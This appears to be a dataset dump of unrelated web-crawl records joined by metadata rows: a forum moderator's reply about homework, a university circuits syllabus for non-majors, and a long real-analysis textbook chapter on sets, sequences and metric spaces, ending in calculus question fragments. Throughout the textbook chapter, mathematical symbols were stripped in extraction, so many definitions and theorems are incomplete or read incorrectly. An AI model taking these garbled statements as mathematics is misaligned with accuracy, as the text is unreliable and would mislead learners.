### #4 skyhawk133
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## Re: "Average" or "sum of" on python programming
Posted 30 March 2009 - 03:02 PM
David,
I've edited out your email address. 1) We don't allow that sort of collaboratoin (i.e. giving people the solutions to homework) and 2) You'll end up getting spammed.
As an aside, I think there might be something wrong with your keyboard. Or you were visiting us from your cell phone. One or the other. | 1,000 | 3,489 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.6875 | 3 | CC-MAIN-2015-18 | longest | en | 0.879201 |
http://ecee.colorado.edu/~ecen3030/ | 1,466,799,499,000,000,000 | text/html | crawl-data/CC-MAIN-2016-26/segments/1466783391519.0/warc/CC-MAIN-20160624154951-00049-ip-10-164-35-72.ec2.internal.warc.gz | 97,050,825 | 13,285 | Fall 2015 -- ECEN 3030 – Circuits for Non-Majors
Lecture Room ECEE 1B32
Last Revisions on 6/24/2015
Course Overview
This course is predominantly meant for Architectural and Civil Engineering students.
It covers the fundamental electrical circuits and related concepts without the use of Laplace Transforms.
The topics covered are also typical FE exam topics.
Occasional references to the NEC (of the NFPA) and NESC will be given when appropriate.
This course is a pre-requisite for AREN 4570 Building Electrical Systems Design.
Below is a set of examples that shows what can happen when there is no
NEC (National Electrical Code) and/or NESC (National Electrical Safety Code)
Scary to say the least.
Compare that to a group of components meeting NEMA standards and are wired/installed per the NEC.
Course Pre-requisites
APPM 2360 Introduction to Differential Equations with Linear Algebra
ECEN 3030 - Topics covered
1. Basic circuit theory, electrical charge, energy, power, voltage, current and resistance, KVL, KCL, DC circuits, voltage and current division. 2. DC circuit analysis, Superposition, Thevenin/Norton Theorems, node and loop analysis, source transformations 3. The dynamics of circuits, capacitors and inductors, RL, RC and RLC circuit transients with differential equations. 4. The analysis of AC circuits, complex mathematics, Euler’s Identity, Phasors, Frequency domain, Impedance. 5. Power and energy in AC circuits, effective value, phasor diagrams, real and reactive power, intro to single-phase transformers, residential AC power, electrical safety. 6. Electric power systems, 3-phase circuits, average, complex and apparent power, power distribution systems, intro to 3-phase transformers and electric motors 7. Intro to Electronics, semiconductors, ideal diode, rectifiers, ideal transistors 8. Analog Electronics, freq. domain analysis, Bode plots, filters, bandwidth, op-amps 9. Linear systems, complex frequency, the “system” or “transfer” function, RL, RC and RLC circuits revisited. 10. Electromechanics, flux linkage, electromagnetic energy conversion 11. Electro-Magnetic structures, transformers and their equivalent circuits 12 Synchronous and Induction machines.
Two Required Textbooks
Foundations of Electrical Engineering J.R. Cogdell, Pearson - Prentice Hall Electrical Engineering for Non-Electrical Engineers S. Bobby Rauf, PE, CRC Press, Taylor & Francis
Course Vitals
Instructor: Harry Hilgers
hhhilgers@mesanetworks.net Office: OT 352 Regular office-hours: M/W/F -- TBD I will not be on campus on Tuesdays and Thursdays. For those days see the TA office-hours schedule.
Teaching Assistant
Ø Office: OT 352
Ø Office Hours: Tu/Th -- TBD
Lecture material
Ø There is only enough class time to lecture just the core points.
ü So it stands to reason that you read the material before coming to lecture and study it thoroughly afterwards.
ü I will predominantly (but not always) lecture from the text books.
ü I therefore urge you to bring your text books to the lectures so you can make notes in them as needed.
During Lectures
Ø I very much encourage questions. The only dumb question is the one not asked.
ü If question are not enough “on point” or the answers become too time-consuming, I may hold off the answers until office hours.
Homework Assignments
Ø Approximately one HW assignment per week.
ü You will scan your HW and drop it into the drop box on D2L prior to the due date/time.
ü Late HW receives zero credit. No exceptions.
ü Make sure you do and turn in ALL HW assignments.
Exams
Ø Three 50 minute mid-term exams
Ø A 2.5 hr. final exam
The Final grade is computed as follows:
Ø Each of three midterm exams: 15%
Ø Final exam: 25%
Ø (Almost) daily quizzes: 15% (I will drop the lowest five scores)
Ø HW: 15% (I will drop the lowest score)
Class web-page
Ø This will be on D2L
Ø It will be used for HW assignments, announcements, calendar, exam dates, etc.
Ø I recognize that the amount of material is very large.
Ø Therefore by necessity some material will only be covered “on the surface”.
Ø It is impossible for you to become an expert at it in a short semester.
Ø So it is my goal to introduce the material to a level so that later, when you need to apply it, you will have enough background and will not be afraid to open a book and study the different aspects in detail.
Ø On occasion I will present some “hard core” examples from my career as a licensed professional engineer in the State of Colorado.
ü The United States Uniform Building Code, of which the NEC is a subset, is a very well developed code. During my career I have seen many examples that make me thankful for having this code to adhere to.
ü I have also seen the loss of life that was a direct result of the code not being applied or when there simply is no code.
Back in the seventies, the wife of one of my best friends was electrocuted when touching the metal casing of a simple cooling fan, that was plugged-in (to an ungrounded electrical system) but was not running. The hot wire had come loose and touched the metal casing. If this would have been a grounded system, the metal casing would have been connected to the ground wire resulting in an immediate short circuit current that would have blown the fuse/breaker. For this ungrounded system there was no current return path until she touched the frame and her body and the ground she was standing on became the return path for the current to find its way back to the power supply. This current instantaneously killed her. A current of 50 milli-Amps at 120VAC can stop a beating heart.
Last but for sure not least
Ø If you qualify for accommodations because of a disability, please submit to me a letter from Disability Services in a timely manner so that your needs may be addressed.
ü Disability Services determines accommodations based on documented disabilities. (303-492-8671, Willard 322)
Ø Every effort will be made to reasonably and fairly deal with students who have serious religious observances that conflict with scheduled exams, assignments, etc.
Ø All students will be expected to comply with the Boulder campus honor code. | 1,393 | 6,195 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.109375 | 3 | CC-MAIN-2016-26 | latest | en | 0.830314 |
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1 Chapter 1 Some Background Material In the first chapter, we present a quick review of elementary - but important - material as a way of dipping our toes in the water. This chapter also introduces important notation. But it does not provide a full development of real analysis. So, it is very dry. In fact, we usually can t bring ourselves to make it all the way through when lecturing. We cover some of the material and tell the students to read the rest. Doing a quick read through and looking up any ideas or results that are not familiar would be a useful exercise. 1.1 Sets In several key ways, measure theory and probability are constructed in order to deal with complex sets that arise when describing very practical situations. Definition A set is a collection of objects called elements or points. Some important examples with their notation: Example = {1,2,3, } (natural numbers), = {, 3, 2, 1,0,1,2,3, } = set of rational numbers, = set of real numbers, (integers), + = set of nonnegative real numbers, = set of complex numbers. More complex examples that we use later on include sets of functions. Next some notation and definitions regarding belonging to a set. Definition If A is a set, a A means a belongs to A. We use a / A to indicate that a does not belong to A. If B is a set, then B A (A B) means that every element of B is an element of A, so B is a subset of A. We write A = B if A B and B A. B is a proper subset of A if B A but A has an element not in B. 1
2 2 Chapter 1. Some Background Material Recall the notation that is used to construct subsets. Example The set of odd natural numbers is given by {k : k, k = 2i +1, some i }. There is one special subset that has nothing in it. Definition The empty set is the set that has no elements. We always allow A for any set A, which means is an empty subset. We always have a / where a is any element. Measure theory is built on sets and set operations. The main operations are: Definition Let A and B be sets. A B = {a : a A or a B} A B = {a : a A and a B} A/B = A B = {a : a A and o / B} (Union), (Intersection), (Difference). Note that A/B = is possible. In the case that that there is a largest or master set, so all sets under consideration are subsets of, then we define: Definition For any subset A we denote, /A = A c (Complement of A). Another less familiar operation turns out to be important for measure theory: Definition If A and B are sets, then A B = (A/B) (B/A) (Symmetric Difference). We collect the basic facts about these operations in the theorem below. Theorem Consider subsets A,{A α,α } of a set. Then, α A α c = α A c α, α A α c = α A c α, α A α A β α A α for any β, A A α = α A Aα, A α A α = α A Aα ). Note that we drop the subscript index set in the statements when it is clear which index set is being considered.
3 1.1. Sets Functions Along with sets, measure theory and probability are also built on functions. Definition Let and be sets. A function f from to, f :, is a rule that assigns one element b to each element a. We write b = f (a), a Functions are also called maps, mappings, and transformations. We also consider functions applied to sets. Definition Let f : and A. Then, f (A) = { f (a) : a A}. Note that f (A) may be a proper subset of. There are two important sets associated with a function. Definition The domain of a function is the set of allowed inputs. The range of a function is the set of all outputs of a function for a given domain. In practice, there is some ambiguity in the definitions of domain and range. The natural domain is the set of all inputs for which the function is defined, but we often restrict this to some subset. Likewise, range is often used to refer to a set that contains the actual range of a function, e.g. and + both might be called the range of x 2 for x. It is important to be very precise about the domain and range in measure theory and probability. With this in mind, we define: Definition A map f : is onto if for each b, there is an a with f (a) = b. A map f : is 1-1 if for any a 1, a 2 with a 1 a 2 ; f (a 1 ) f (a 2 ). The concept of the inverse map to a function is centrally important to measure theory. It is extremely important to pay attention to the domain and range in this situation. Definition Let f : be a map from domain to range. The inverse image of a point b is defined, f 1 (b) = {a : a, f (a) = b}. Note that the inverse image of a point is a set in general. The natural domain of the inverse map to a function f : is the range. The range of the inverse map is a new space whose members consist of sets of points in. Definition Let f : be a map from domain to range. The range of f 1 is the space of equivalence classes on, where a 1 and a 2 are equivalent if f (a 1 ) = f (a 2 ).
4 4 Chapter 1. Some Background Material Cardinality We mentioned above that specifying the size, or cardinality, of an index set is important in certain places. Formalizing that notion, Definition Two sets and are equivalent or have the same cardinality, written, if there is a 1 1 and onto map f :. If = or {1,2,..., n} for some n, we say that is finite. If is finite or, we say that is countable. If is not empty, finite, or countable, we say is is uncountable. Note that there are different cardinalities among the uncountable sets but that is not important for the material below. Example , +, {odd integers}, and are all countable., +,,{x : x, x > 4} are all uncountable and have the same cardinality. Recall that all countable sets are equivalent and, indeed, can be written in the same way. Theorem A countable set can be written as {a 1, a 2, a 3, }, where a 1, a 2, denumerate the points in. This is another way to state the fact that there is a 1 1 and onto map between and {a 1, a 2, a 3,...}. As we said, below we construct complicated sets using unions and intersections. A crucial fact underlying the construction is the following. Theorem The countable union of countable sets is countable. We frequently deal with operations and sums of collections of objects indexed by some set. It is usually important to distinguish the cases of the index set being finite, countable, and uncountable. We use roman letter indices, e.g. i, j, k, l, m, n, for finite and countable collections and greek letter indices, e.g. α,β, for uncountable collections Sequences of sets It turns out that measure theory often deals with countable sequences of sets, and we discuss a few useful ideas. The first notion is convergence of a sequence of sets. Definition Let {A n } be a sequence of subsets of a set. If A 1 A 2 A 3... and A i = A, then we say that {A n } is an increasing sequence of i=1 sets and that A n converges to A. We denote this by A n A.
5 1.2. Real numbers 5 If A 1 A 2 A 3... and A i = A, then we say that {A n } is a decreasing sequence of i=1 sets and A n converges to A. We denote this by A n A. Theorem Let (A n ) be a sequence of subsets of. n 1. If A n A then, A n = A i. i=1 2. If A n A then A c n Ac. If A n A then A c n Ac. The implications of set convergence depends heavily on whether or not the sets in the sequence are non-intersecting. Definition A sequence {A n } of sets in is (pairwise) disjoint if A i A j = for i j. The next set of ideas is based on the observation that given two subsets A, B, we can write the union as a disjoint union: A B = (A) (B A c ). DeMorgan s Law can be used to show the following statements. Theorem Let {A n } be a sequence of subsets of. Then, 1. Set A = i=1 A i. Define the sequence B 1 = A 1 and B n = n i=1 A i for n 2. Then B n A. 2. Define B 1 = A 1 and B n = A n \ n 1 i=1 A i. Then {Bn } is a disjoint sequence of sets with i=1 A i = i=1 B i. References Exercises 1.2 Real numbers For the rest of the book, we work in and use the properties of the real numbers extensively. The one necessary prerequisite for this book is knowledge of the construction and properties of the real numbers. So, it is a good idea to review the reals if these are not familiar. We present a brief overview. Two of the fundamental properties of real numbers are the least upper bound and greatest lower bound properties. Definition A nonempty set A of real numbers is bounded above if there is a number b such that x b for all x A. b is called an upper bound for A. If A is bounded above, then an upper bound c for A is the least upper bound (lub) or supremum for A, if c is less than or equal to any other upper bound of A. We write c = sup A. A nonempty set A of real numbers is bounded below if there is a number b such that b x for all x A. b is called an lower bound for A.
6 6 Chapter 1. Some Background Material If A is bounded below, then a lower bound c for A is the greatest lower bound (glb) or infimum for A, if c is greater than or equal to any other lower bound of A. We write c = inf A. Note that a set may or may not contain its sup or inf if they exist. Definition A bounded set of reals is set that is bounded above and below. A fundamental property of the reals is the existence of the inf and sup. Least Upper Bound (LUB) Property Every nonempty set of real numbers that is bounded above has a least upper bound. Greatest Lower Bound (GLB) Property Every nonempty set of real numbers that is bounded below has a greatest lower bound. Depending on how the real numbers are constructed, the LUB and GLB Properties may be expressed as axioms or as results. In any case, they can be expressed in alternate ways. For the purposes of measure theory, a useful alternative form is completeness, which is a property related to sequences of real numbers. We begin with an important interpretation of a sequence as a function. Definition A sequence {x i } i=1 = {x i } of real numbers is a function from (or + ) to a countable set of real numbers. A sequence may be associated with a particular function or it may be known only by the list of values. Recall that generally we are interested in sequences that have predictable behavior as the index increases. In particular, we usually consider sequences that converge. Definition A sequence {x i } converges to a real number x if for each ε > 0 there is an N such that x i x < ε for all i > N. We call x the limit and we write x = lim i x i = lim i x i and x i x. It is easy to see that limits are unique. Def is very often presented in textbooks, but it is not a practically useful concept, since it requires the limit in order to be verified. If we have the limit in hand, there would seem to be little point in considering the sequence. In practice, we have the sequence and not the limit and we require a condition that guarantees convergence that does not involve the limit. We observe that if a sequence converges, then the terms in the sequence necessarily become close to each other as the indices increase. What about the converse? Definition A sequence {x i } is a Cauchy sequence if for each ε > 0 there is a N such that for all i > N, j > N we have x i x j < ε. Theorem Every convergent sequence of real numbers is a Cauchy sequence and every Cauchy sequence of real numbers converges. Definition Referring to Thm 1.4.1, we say the real numbers are complete. If we are working in a set in which Cauchy sequences converge, then we can compute
7 1.2. Real numbers 7 approximations of the limit of a Cauchy sequence by taking a term in the sequence of sufficiently high index Open, closed, and compact sets The construction of measure theory and probability is based on set operations applied to the most familiar of sets of real numbers. Definition An open interval (a, b) is the set of all real numbers {x : a < x < b}. We also have infinite open intervals, (a, ) = {x : a < x},(, b) = {x : x < b},(, ) = We next generalize the defining property of an open interval. Definition An open set G of real numbers has the property that for each x G, there is an r > 0 such that all y with x y < r belong to G. This is a local property in the sense that r depends on x in general. The following theorem about set operations and open sets underlies the measure theory construction. Theorem The union of any collection of open sets is open. The intersection of any finite number of open sets is open. Example The intersection of an infinite number of open sets may not be open, e.g. 1 n, 1 = {0}. n n=1 The following decomposition result is used for several important proofs in measure theory. Theorem Every open set of real numbers is the union of a countable collection of mutually disjoint open intervals. Now we turn to closed sets. Definition finite. A closed interval is a set [a, b] = {x : a x b}, where a and b are As above, we abstract the important property of being closed. Definition A set F is closed if it is the complement of an open set. By convention, we generally use the notation that G is used for open sets and F is used for closed sets. Of course, there are sets that are neither open or closed. The basic result for set operations and closed sets is: Theorem The intersection of any collection of closed sets is closed. The union of any finite number of closed sets is closed.
8 8 Chapter 1. Some Background Material It is convenient to reformulate the property of being closed in terms of limits. Definition A point x is called a cluster point or an accumulation point of a set A if for every r > 0 there is a y A, y x, such that x y < r. Working from this definition, a cluster point in Acan be obtained as the limit of a sequence of points in A. A cluster point of A may or may not be in A. The following theorem says that cluster points exist under general conditions. Theorem (Bolzano-Weierstrass). cluster point. Every bounded set with infinite cardinality has a Finally, the connection to being closed. Theorem A set F is closed if and only if it contains all of its cluster points. A key idea in measure theory is the approximation of a complicated set by a combination of simpler sets. This idea is related to the fundamental property of compactness. Definition A collection of sets covers a set A if A B B. is called a cover of A. If the cover contains only open sets, we call it an open cover. If the cover has a finite number of elements, we call it a finite cover. If is a subset and is also a cover of A, we call a subcover. Definition A set K is called compact if every open cover of K has a finite subcover. The first result is a good exercise. Theorem A closed interval [a, b] is compact. The generalization is a very important property of real numbers. Theorem (Heine-Borel). bounded. A subset of is compact if and only if it is closed and Continuous functions We conclude by recalling some facts about real valued functions on sets of real numbers. Let A be an interval in and f :. Definition A function f is continuous at in x A if for any ε > 0 there is a δ > 0 such that f (x) f (y) < ε for all y A with x y < δ. If f is continuous at every point in A, we say f is continuous on A or continuous. This is a local property in the sense that δ and ε depend on x in general. An alternate characterization of continuity involves sequences and limits. Theorem f is continuous at x in A if and only if for every sequence x n A with x n x, f (x n ) f (x).
9 1.2. Real numbers 9 Recall that this definition is applied to a endpoint of a closed interval by considering onesided limits. There is an important connection between continuity and compactness. Theorem The image of a continuous function applied to a compact set is compact. Theorem Every continuous function on a compact domain K has a maximum and minimum value, i.e. there are points x 1 and x 2 in K such that f (x 1 ) f (x) f (x 2 ) for all x K. Next, we consider a stronger version of continuity on a set. Definition A function f on A is uniformly continuous on A if for every ε > 0 there is a δ > 0 such that for all x, y A with x y < δ, f (x) f (y) < ε. The difference between this definition and Def is that δ does not depend on the point in the set under consideration. Uniform continuity on a set implies continuity at each point in the set, but the converse is not true. Example x 1 is continuous but not uniformly continuous on (0,1). Another important way that compactness interacts with continuity is the following: Theorem (Heine). continuous on K. If f is continuous on a compact set K, then f is uniformly There are other notions of continuity that are important. For example, the following is important for measure theory. Definition A function f on A is absolutely continuous if for every ε > 0 there is a δ > 0 such that f (b i ) f (a i ) < ε, i for every finite collection of pairwise disjoint intervals {(a i, b i )}, with (a i, b i ) [a, b] all i and i b i a i < δ. This definition controls how much the function can oscillate. Example The function f (x) on [0,1] that equals 1 n at x = (2n) 2 and equals 0 at x = (2n+1) 2 for n = 1,2, and linearly interpolates between these values for x in between, is uniformly continuous but not absolutely continuous. The issue is that the function "oscillates" too much. A simpler condition to check is Definition that A function f on A is Lipschitz condition if there is a constant L such f (x) f (y) L x y all x, y A.
10 10 Chapter 1. Some Background Material The relation between these properties is Theorem We have: Lipschitz continuity = absolute continuity, absolute continuity = uniform continuity. The proof is a good exercise The extended real number system For convenience, we use a limited version of Definition The extended real number system is = {, } with the rules x, x, < x <, x, x ± = ±, x, + =, =, x (± ) = ±, x > 0, x (± ) =, x < 0, 0 (± ) = 0. Note, that we do not define a value. Also, the convention that 0 (± ) = 0 is only permissible because in measure theory that is usually the correct value that would be assigned with a careful analysis. With these conventions, other structures associated with real numbers are extended in the obvious way. For example, [0,1] = {x : 0 x }. Below, we frequently deal with set functions that take values in the extended reals, e.g. f : [0, ], = a set, References Exercises is an extended real valued nonnegative function. 1.3 Metric spaces Several key concepts and results of metric spaces - one of the main subjects in introductory real analysis - are important to measure theory and probability. Recall that a metric space is an abstraction of a set of points for which the concept of distance of points is defined. A common example is the n dimensional vector space n, but we often have to deal with other spaces in analysis. The notion of distance is important, for example, to limits, area and volume, and the techniques of calculus. We review some relevant concepts and results of metric spaces, without discussing proofs. It is a good idea to keep a real analysis book nearby as a reference. We begin with the definition of distance. Definition A metric on a set is a map d(, ) on to + satisfying:
11 1.3. Metric spaces 11 d(x, y) = d(y, x) for all x, y (Symmetry), d(x, y) 0 for x, y, and d(x, y) = 0 if and only if x = y (Positivity), d(x, y) d(x, z) + d(z, y) for any x, y, z (Triangle Inequality). = (, d) is called a metric space. The following property is a consequence of the triangle inequality. Theorem d(x, y) d(x, z) d(y, z) for all x, y, z. The standard example is Euclidean space: Example On n, we can define a metric using the usual Euclidean distance: n 1/2 d(x, y) = x i y i 2, i=1 where x = (x 1, x 2,..., x n ) and y = (y 1, y 2,..., y n ). Generalizing this example, any norm on a vector space generates a metric: Example Let be any normed vector space with the norm. Define, for any x, y. Then, d is a metric on. d(x, y) = x y, Much of analysis is concerned with metric spaces that are infinite dimensional. An important example is: Definition We use C ([a, b]) to denote the vector space of real-valued continuous functions defined on the interval of real numbers [a, b]. C ([a, b]) is also written as C ([a, b]), C [a, b] and C (a, b). The latter notation is a bit problematic because it is important for the interval to be closed. We define, d( f, g) = sup f (x) g(x) = max f (x) g(x). x [a,b] x [a,b] This is called the sup or max metric. Symmetry is obvious and positivity follows from the continuity of the functions. The triangle inequality follows by observing that for x [a, b], f (x) g(x) f (x) h(x) + h(x) g(x), by the triangle inequality for numbers. We then take the max on both sides. Recall that a continuous function on a closed interval can be written uniquely as a Fourier series. In general, the Fourier series of a continuous function has an infinite number of terms. This is an easy way to understand that C ([a, b]) is infinite dimensional.
12 12 Chapter 1. Some Background Material Sequences The metric opens up the possibility of analysis because it provides a way to talk about convergence of sequences. Definition A sequence {x i } in a metric space (, d) converges if there is an x such that d(x i, x) 0 as i. This means that for any ε > 0, there is a positive integer N such that d(x i, x) < ε for all i > N. We write x i x, lim x i = x, etc. i There is a subtle point in this definition. If {x n } is a sequence in a metric space (, d) and x, then {d(x i, x)} is a sequence of real numbers. In this definition, we define convergence of {x i } using the familiar definition of convergence of a sequence of real numbers. This is a very useful approach. As an example, Theorem A convergent sequence in a metric space has a unique limit. An important issue, or perhaps flaw, with Def is that it requires the limit for verification. We look for an alternative criterion for convergence. Definition A sequence {x i } in a metric space (, d) is a Cauchy sequence if d(x i, x j ) 0 as i, j, which means that for any ε > 0 there is a positive integer N, such that d(x i, x j ) < ε for all i, j > N. We also say that the sequence satisfies the Cauchy criterion. If a sequence converges, then the terms necessarily become close in the limit of large indices. Theorem A convergent sequence in a metric space is also a Cauchy sequence. Does a Cauchy sequence necessarily converge? Note that in the definition of convergence we explicitly assume the limit is in the metric space. That is not so in the definition of a Cauchy sequence. Example Consider = (0,1) with d(x, y) = x y. The sequence {i 1, i, i > 0} is a Cauchy sequence but does not converge because 0. We cannot check the definition of convergence!) It may seem artificial in this example to purposely exclude the limit from. But in practice, we often do not have a limit of a sequence in hand, we may not know if the sequence converges, and even if a sequence converges, we may not know if the limit is in the space in question. Convergence follows in one case: Theorem If a Cauchy sequence has a convergent subsequence, then the entire sequence converges. It may help to think of the convergent subsequence as dragging the rest of the sequence along with it. We give a special name to metric spaces in which all Cauchy sequences converge. Definition A metric space is complete if every Cauchy sequence converges (to an
13 1.3. Metric spaces 13 element in the space). It is important to know the following examples: Example n with the usual metric is complete. Example C ([a, b]) with the sup metric is complete. There are important examples of metric spaces that are not complete. This is often a consequence of the choice of metric. In the following example, we choose a different, but natural, metric on the space of continuous functions. Example Consider the set of continuous real-valued functions on the real interval [a, b], with d( ˆ f, g) = b a f (x) g(x) 2 d x We can verify that d ˆ is a metric, so we get a metric space Ĉ ([a, b]). Now, consider a sequence {g n (x)} in Ĉ ([0,1]), defined 0, 0 x 1/2 1/n, g n (x) = 1 + (x 1/2)/n, 1/2 1/n x 1/2, 1, 1/2 x 1. 1/2. The sequence {g n (x)} Ĉ ([0,1]) is a Cauchy sequence, but g n converges to the discontinuous function given by, 0 x < 1/2, H(x) = 1 x 1/2, with respect to the metric d. ˆ Hence Ĉ ([a, b]) is not complete. Remark 1.1. In general, the choice of a metric is key in the case of infinite dimensional examples Topology The metric also allows the injection of toplogical concepts such as open and closed sets. Note that these concepts can be defined in different ways and the first part of real analysis consists in proving equivalences between various formulations. For example, in Sec we define open sets of real numbers using an open neighborhood condition and list the eventual consequence that a set is closed if and only if it contains its limit points. Below, we start by defining a closed set using a limit condition, then derive a neighborhood condition for open sets. There is no one best formulation, rather the various formulations are most suited for different kinds of proofs. That is, a proof based on one formulation may require fewer lines than other formulations. Definition Let A be a subset of a metric space (, d). A point x is a limit point of A if for every ε > 0 there is y x with d(y, x) < ε. A is closed if it contains all of its limit
14 14 Chapter 1. Some Background Material points. The closure of A, written as A, is the smallest subset of containing A and its limit points. Finally, a set B is open if its complement /B = B c is closed. Example B 1 2 = {(x, y) : d(x, y) < 1} is open. The limit points of B 1 consists of B 1 together with the unit circle {(x, y) : d(x, y) = 1}, so B 1 2 = {(x, y) : d(x, y) 1}. Example [0,1) in 1 with d(x, y) = x y is neither open or closed. Definition If (, d) is a metric space, the open ball of radius r centered at point x 0 is defined, B r (x 0 ) = {x : d(x, x 0 ) < r }. Theorem If G is an open subset of a metric space (, d) if and only if for each point x in G there is an open ball centered at x contained in G. Note that defining the ball to be open by using strict inequality (<) is essential to this result. The proof of this result provides a useful strategy for other arguments. Proof. We show that if G is open, it satisfies open ball condition. G is open if and only if G c is closed. Now x 0 G c, so it is not a limit point of G c, which is closed and contains its limit points. This implies that is an r > 0 such that B r x 0 G c =. Otherwise, we can create a sequence in G c that converges to x 0 by considering a sequence of balls of decreasing radii and choosing a point in each ball. It is a good exercise to show the converse. The notion of compactness is important in understanding sets and functions of real numbers. We extend the notion to metric spaces. Definition A collection {G α } of open sets of a metric space (, d) covers a set K if K G α. {G α } is also called an open cover and a covering of K. A set K is compact if any covering {G α } of K contains a finite subcollection G α1, G α2,...,g αn that covers K. Example Consider (0,1) 1, which is covered by the set, α (0,1) (0,1/2) (1/2 1/4,3/4) (3/4 1/8,7/8). This cover does not contain a finite subcover. Of course, (0,1) is not compact. An equivalent formulation of compactness involves convergence of sequences.
15 1.3. Metric spaces 15 Theorem Let (, d) be a metric space. A set K is compact if and only if every sequence {x i } of points in K contains a subsequence x n1, x n2,... that converges to a limit in K. Thus, being contained in a compact set provides some bounds on how a sequence can behave even when it does not converge. With more assumptions, we get more. Theorem A Cauchy sequence in a metric space that is contained in a compact set converges to a limit in the compact set. Definition A metric space for which every Cauchy sequence converges to a limit in the space is called complete. A related result is Theorem (Bolzano-Weierstrass). Every bounded infinite-cardinality set in n with the usual metric has a limit point. There is a simple characterization of compactness in Euclidean space. Theorem (Heine-Borel). is compact. In n with the usual metric, every closed, bounded subset Remark 1.2. Warning, the Heine-Borel result is not true in general metric spaces. Definition Let a = (a 1, a 2,...,a n ) and b = (b 1, b 2,..., b n ) be points in n with the usual metric, such that a i b i for 1 i n. The multi-interval or generalized rectangle is a generalization of a rectangle defined as, Q = {x n : a i x i b i, 1 i n}. Theorem Multi-intervals in n are compact Functions We consider a map between two metric spaces (, d ) and (, d ). Definition A function f : is continuous at x 0 if for every ε > 0, there is a δ > 0 such that d ( f (x 0 ), f (y)) < ε for all y with d (x 0, y) < δ. If f is continuous at every point in, we say f is (pointwise) continuous on. f is uniformly continuous on if for ε > 0, there is a δ > 0 such that d ( f (x), f (y)) < ε for all x, y with d (x, y) < δ. Of course, uniform continuity implies pointwise continuity. One important consequence of uniform continuity is inheriting the Cauchy condition. Theorem Let f : be a uniformly continuous function. If {x i } is a Cauchy sequence in, then { f (x i )} is a Cauchy sequence in. We also require the idea of the inverse map.
16 16 Chapter 1. Some Background Material Definition Let f : and B. The set, is called the inverse image of B. f 1 (B) = {x : f (x) B}, In general, the inverse image of even a single point may be a set. Example Consider f (x) = x 2 : [ 1,1] [0,1] with the usual metric on the domain and range. Then f 1 (y) = { y,+ y} for 0 < y 1. Thus, the inverse map to a function f : maps to a new space whose points are sets in in general. We can consider the range of the inverse map to be a space of equivalence classes in. Theorem Suppose f : is a function. 1. If x is a limit point of, the f is continuous at x if and only if f (x i ) f (x) in for any sequence {x i } with x i x in. 2. f is continuous on if and only if f 1 (G) is open in for any open set G in. 3. f is continuous on if and only if f 1 (F ) is closed in for any closed set F in. Conditions (2) and (3) use a notion of behavior induced by the inverse of the map, meaning that we pose a condition on sets in the range of the map and require behavior in the corresponding inverse images. This is a central idea in measure theory. Compactness and continuity relate in a beneficial way. Theorem Suppose f : is a map and is compact. Then, the image of under f, i.e., f () = {y : y = f (x), x } is a compact set in. If = n, then f () is closed and bounded. Moreover, Theorem Let f : be a continuous map where is compact. Then, f is uniformly continuous on. Note that these last two theorems, like others, can be applied to a subset of a metric space, when inherits the metric structure and f is restricted to Denseness and separability In the abstract, we talk about points in a metric space as if they can be produced at will. In many practical situations, we are unable to produce arbitrary points in a metric space. Rather, we have to content ourselves with being able to approximate any given specified point to any desired accuracy using a special collection of simpler points. Here, simple includes generally includes the properties of being in a countable set and being computable, though there can be additional properties.
17 1.3. Metric spaces 17 Example We cannot write down an arbitrary real number in general, e.g. because it has an infinite decimal expansion. However, any real number can be approximated by a sequence of rational numbers, e.g., the sequence of truncated decimal expansions, 3,3.1,3.14,3.141,3.1415, ,... π. So the reals can be approximated by the countable set of rational numbers. Example We cannot write down an arbitrary real-valued function on the real numbers in general. Even in the case of a known function like sin, exp, and log, these labels are place-holders for a function whose values are not specified by a finite number of operations. Rather, we compute approximations to their values in practice. In the next chapter, we discuss the Weierstrass Approximation Theorem, which says roughly that continuous functions can be approximated by polynomials. We take polynomials as being computable in the sense that their values are determined by a finite number of operations. The property of a set being useful for approximation is captured in the following definition. Definition A set A in a metric space (, d) is dense if every point in is a limit point of A or is in A or both. The property of a space containing such an approximation set is given a name. Definition A metric space is separable if it contains a countable dense subset. Compactness is a guarantee. Theorem Every compact metric space is separable. We explore the idea of approximation quite extensively below. As a teaser, we present a result that explains how density can be used to approximate function values. Theorem Assume that (, d ) and (, d ) are metric spaces and that is complete. Assume that we have a map f : A defined on a dense subset A that is uniformly continuous on A. There is a unique continuous map g : such that g(x) = f (x) for x A. We give a name to the new function: Definition The function g is called the extension of f and g extends f from A to. As a consequence, for example, we can approximate the value of a polynomial function on any real number by values of the polynomial computed at numbers with finite decimal expansions, and likewise by the Weierstrass Approximation Theorem mentioned above, we can approximate the values of transcendental functions like exp using polynomials evaluated at numbers with finite decimal expansions.
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A P P E N D I X A Metric Spaces For those readers not already familiar with the elementary properties of metric spaces and the notion of compactness, this appendix presents a sufficiently detailed treatment | 15,727 | 61,083 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.84375 | 5 | CC-MAIN-2019-09 | longest | en | 0.938924 |
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# Calculus and Analysis
### Equation for Population P
View attachment for the problem.
### Use the Uniqueness Theorem for the Initial Value Problem
